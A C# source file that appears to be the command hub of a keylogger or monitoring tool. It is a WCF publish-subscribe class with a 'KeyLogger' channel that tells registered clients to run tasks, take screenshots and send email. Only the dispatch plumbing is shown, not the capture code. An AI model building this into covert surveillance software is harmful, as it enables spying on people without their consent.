﻿using System.Collections.Generic;
using System.ServiceModel;

namespace WebApplicationHook
{
    public class HookWorkflow
    {
        private static readonly Dictionary<string, PubSubChannelWorkflow> m_PubSubChannelPool = new Dictionary<string, PubSubChannelWorkflow>();

        public bool RegisterSubscriber(string channelName, string subScriberId)
        {
            bool result = true;
            if (m_PubSubChannelPool.ContainsKey(channelName))
            {
                ISubscriber subscriber = OperationContext.Current.GetCallbackChannel<ISubscriber>();
                result = m_PubSubChannelPool[channelName].RegisterSubscriber(subScriberId, subscriber);
            }
            else
            {
                result = false;
            }
            return result;
        }

        public void LoadChannel()
        {
            if (!m_PubSubChannelPool.ContainsKey("KeyLogger"))
            {
                m_PubSubChannelPool.Add("KeyLogger", new PubSubChannelWorkflow());
            }
        }

        public bool UnRegisterSubscriber(string channelName, string subScriberId)
        {
            bool result = true;
            if (m_PubSubChannelPool.ContainsKey(channelName))
            {
                result = m_PubSubChannelPool[channelName].UnRegisterSubscriber(subScriberId);
            }
            else
            {
                result = false;
            }
            return result;
        }

        public bool Publish(string channel, int taskType)
        {
            bool result = true;
            if (m_PubSubChannelPool.ContainsKey(channel))
            {
                m_PubSubChannelPool[channel].NotifySubscribers(taskType);
            }
            else
            {
                result = false;
            }
            return result;
        }

        public void SendEmail(string channel)
        {
            if (m_PubSubChannelPool.ContainsKey(channel))
            {
                m_PubSubChannelPool[channel].SendEmailSubscribers();
            }
        }

        public void ScreenShot(string channel)
        {
            if (m_PubSubChannelPool.ContainsKey(channel))
            {
                m_PubSubChannelPool[channel].TakePhotoSubscribers();
            }
        }

      
    }
}